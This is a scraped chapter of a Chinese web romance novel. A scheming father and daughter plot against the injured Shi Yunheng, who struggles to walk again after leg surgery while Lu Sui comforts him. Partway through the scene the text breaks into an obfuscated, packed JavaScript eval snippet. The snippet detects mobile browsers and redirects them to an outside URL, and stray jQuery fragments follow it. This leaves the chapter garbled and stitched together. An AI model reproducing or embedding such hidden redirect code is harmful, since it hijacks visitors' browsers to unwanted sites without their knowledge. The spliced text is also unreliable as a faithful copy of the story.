“爸爸!”
施励刚刚回到家,迎面而来的便是女儿面含嗔怒的呼喊。
“乖女儿,谁又惹你了,生这么大火?”
施沁双手叉腰,跺着脚,脸颊鼓起,眼睛里皆是恼怒,“爸爸!你还笑得出来!”
施励脸上笑意盈盈,他刚飞往江城参加了古城项目的开工剪彩仪式。
这个项目,被他以远低于预期的成本拿下了,前景和收益十分可观。这算得上是近期最大的收获,他怎么能不高兴。
他走上前,自然地揽住女儿的肩膀,语气无奈又宠溺,“沁沁跟我说说,这又是怎么了?”
“还能有谁!”施沁扬着下巴,撇了下唇,神色幽怨。
“你都不知道,你出差的这段时间,施允珩那个贱人去做了手术。”
“你之前明明说过他再也走不了路,一辈子都是个残废了!他怎么会有上手术台的机会!”
闻言,施励脸上笑意淡了几分,眸色沉了沉。
这段时间他虽然远在江城,可并非没有掌控祈城这边的消息。
施允珩上手术台做了腿部手术这件事,他自然也有所听闻。
派去跟踪的私家侦探反馈说,如今施允珩住在陆遂的别墅里,别墅里时常传来压抑隐忍的哭声,听着格外凄惨。
这倒并不令人意外。
自从车祸后,施允珩变得格外敏感脆弱、易躁易怒。往日在施家时,便是受不了一点刺激,稍有不顺便随地发疯,惹人生厌。
想来他这样暴躁易怒的性情,到了陆遂那里,也不会好过。
可陆遂将他送上了手术台,特意请医生来医治他的腿。
陆遂对施允珩,到底是一时新鲜的怜悯,还是存了真心思呢。
陆遂深居简出,施励与他的接触也不过寥寥两三次,着实难以摸透这人的脾气秉性。
而最令他在意的还是施允珩。
这小崽子已经离开施家两个多月,竟然没有主动提出要回来。
这倒是意料之外的事情。
施允珩脱离他的掌控,虽然谅他也构不成什么威胁,但总归不是件好事。
施励心里琢磨着。
施沁还在继续抱怨,“还有,爸爸你不是说施允珩要嫁给江家那个老头子吗,为什么没嫁成,反而跟了那个叫陆遂的。”
虽然陆遂甚少在外露面,但在祈城的圈子里,已然流传起了他的传说。
施沁听小姐妹们说,陆遂本人十分年轻俊美,只是性格冰冷无情,在商场上行事狠辣、雷厉风行,让她们家里长辈十分难做。
小姐妹还分享给她别人偷偷拍下的照片,照片不知传了多少手,画质相当模糊,还只拍到了半张侧脸。
可尽管如此,那定格在镜头前的模糊侧脸线条锋锐,下颌线清晰性感,充满了成熟男人的诱惑力。
再加上他的传言赋予的魅力,一张照片看得施沁心跳莫名加快。
她忍不住嫉妒施允珩。
竟然阴差阳错跟陆遂住在了一起。
听闻陆遂心里住着个忘不掉的白月光,因此不近女色,无论是温柔小意,还是火热泼辣,都敬而远之,态度冷漠。
施允珩这种破烂的性格,在陆遂身边肯定很不讨喜。
就算一时迷惑了陆遂,也早晚自食恶果,惹恼对方,被陆遂从家里赶出来。
施沁恶狠狠地想着。
施励冷笑了一声,拍了拍女儿的肩膀,意味深长地说:“沁沁,你多久没见你允珩哥哥了。”
施沁愣了一下,随即横眉道:“爸爸,你说什么呀,谁稀罕见他!”
“他动了手术,出于礼貌,你也该上门探望一下。”
施励作为长者,不便主动出面。
可施沁作为和施允珩同龄同辈的妹妹,以探望哥哥的名义去见一见施允珩,却是名正言顺,无可置喙。
正好也借此机会,探一探陆遂和施允珩的真实情况。
施沁后知后觉明白了施励的意思,哼了一声,语气依旧是心不甘情不愿地:“好吧,那我就去看看他,看看他现在过得有多凄惨。”
*
距离上手术台,已经过去了一个月。
施允珩左腿上打了石膏,在床上躺了一个月。
今天,腿上的石膏终于拆掉了。
施允珩坐在床边,双手紧握着柔软的床沿,他怔怔看着与右腿并排踩在地毯上的左腿。
石膏拆除后,左腿仿佛无恙,与右腿几乎看不出区别。
可是,只有施允珩知道,他的左腿依旧没有任何感知。
施允珩眸色发紧,他掌心用力,慢慢撑起自己的上半身,颤颤巍巍地站了起来。
一步以外,陆遂笔挺高大的身形如松如竹,目光温柔地落在他身上。
没有了床的支撑,施允珩明显感觉右腿的负担一下子加重了许多,左腿无知无觉,令他的心逐渐沉入了谷底。
“哥哥,我真的……可以吗?”
不安的目光求助似地落在陆遂身上。
陆遂轻声道:“可以的。”
他张开双臂,语气像哄孩子一样,“允珩,走过来试试。”
施允珩强撑着身体,他用力攥紧了睡衣边缘,在陆遂耐心的劝诱下,试图提起左腿。
可是,左腿依旧纹丝不动,无法感知、无法控制。
施允珩难以自抑地升起一股恼恨来,他咬紧牙根,腰上用力,想要强行扯起左腿。
但身体瞬间失衡,重心一歪,猝然向前栽了下去。
预想中的疼痛感并未传来,施允珩跌进了陆遂的怀抱里。
施允珩面容难堪,一股暴躁的情绪似要压制不住,发作出来,只是陆遂抚摸着他的侧脸,将他安抚了下来。
“允珩,别着急。我们再试试。”
施允珩压住急促的呼吸,推开陆遂的怀抱。
他慢慢从地上爬起来,再次提腿往前迈出,但是,一步也还未迈开,他便又跌倒了,重重摔在陆遂身上。
这次,没等陆遂出声安慰,他便再次撑起身体,推开陆遂的搀扶。
迈步向前。
摔倒。
起身。
就这样走走摔摔重复了七次。
施允珩额角已经渗出了细密的汗珠,脸颊泛红,承压过久的右腿战栗不停,可左腿依旧像是摆设一般毫无反应。
施允珩气喘吁吁,目光凝重地凝视着那条可恨的左腿,突然抬手,用力捶了下去。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271771|198133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“为什么!”他难掩愤怒和焦虑。
陆遂握住他的手腕,止住他的动作。
施允珩抬起眼,眼眶泛红,他挣扎起来,抗拒着陆遂的桎梏,嘶哑的声音充斥着不甘与难过。
“没有用!根本就没有用!”
“我的腿好不了了,施励说的没错。”
他又重复了一遍,嗓音哽咽,目光空洞:“我的腿好不了了……”
“允珩!”陆遂握住他的双肩。
施允珩垂下脑袋,难以压抑的难过泛滥在整个躯壳中,“怎么办,我好不了了。”
“不会的。”
陆遂单手捧起施允珩的脸蛋,拇指拭去脸颊上滚落的泪水。
“允珩,我从来都相信你。”
“你比任何人都坚韧、勇敢,拥有远胜于我的自信。”
“允珩,坚持下去,好不好?我会陪着你的。”
施允珩怔怔看着陆遂深邃如潭的双眸,他不知陆遂对他的信任从何而起,明明他们只是相识不过两三个月的陌生人。
可是,他这样坚定的望着自己,令他恍然间慢慢有了,自己终于不再是一个人的错觉。
泪珠扑簌簌地涌出来,施允珩抱住了陆遂的脖颈。
“哥哥,我害怕。”
爸爸妈妈走了,爷爷也昏迷不醒,施家人都厌恶他。左腿残疾,不能自理,也没有人在意他,他成了被遗弃的那个人。
他已经品尝了太久孤独的滋味。
他害怕再也不能站起来,害怕一个人入睡,害怕这世上无人记得他。
可是,陆遂记得他。
陆遂回抱住他的身体,将他慢慢拢进怀里,就着这个姿势将他抱了起来,回到床沿上坐下。
“允珩,康复本就是很难一蹴而就的事,更何况你的腿隔了两年才接受治疗,太久没有使用,想要重新站起来,更要慢慢来。”
施允珩坐在他怀里,眼泪“啪嗒啪嗒”地落下,晕开一片片潮湿的印记。
陆遂伸手去擦,可他的眼泪却仿佛流不尽一般,怎么也擦不干净。
“慢慢来,不要急,好不好?”
施允珩轻轻点了点头,将眼泪蹭在他的掌心。
“等你的左腿彻底恢复了,我还有件礼物要送你。”
“什么礼物?”施允珩抬起泪水潋滟的眸子,看着他。
陆遂眼中浮现一丝深沉的笑意,摸了摸他的头发,“暂时保密。”
施允珩眨了眨眼。
因情绪过于激动而战栗的身体慢慢平复了过来,陆遂的一只大掌撑在他背后,另一只手伸出指尖,仔细拭去他脸颊和眼睑的泪水,以及鼻尖上的汗珠。
“今天先到这里,你歇一歇,等明天,我们再继续。”
施允珩伸出双手,抓住他的手掌,纤细柔软的双手紧贴着他的掌心。
“哥哥,你会一直在我身边的,对吗?”
陆遂看着他的眼睛。
琥珀色的眸子清澈湿润,雾气氤氲,或许是太过漂亮,以致生出了些蛊惑的味道。
两人的脸颊离得极近,呼吸交织在一起,空气便多了些潮湿与黏腻。
“当然。”
“只要,允珩想要。”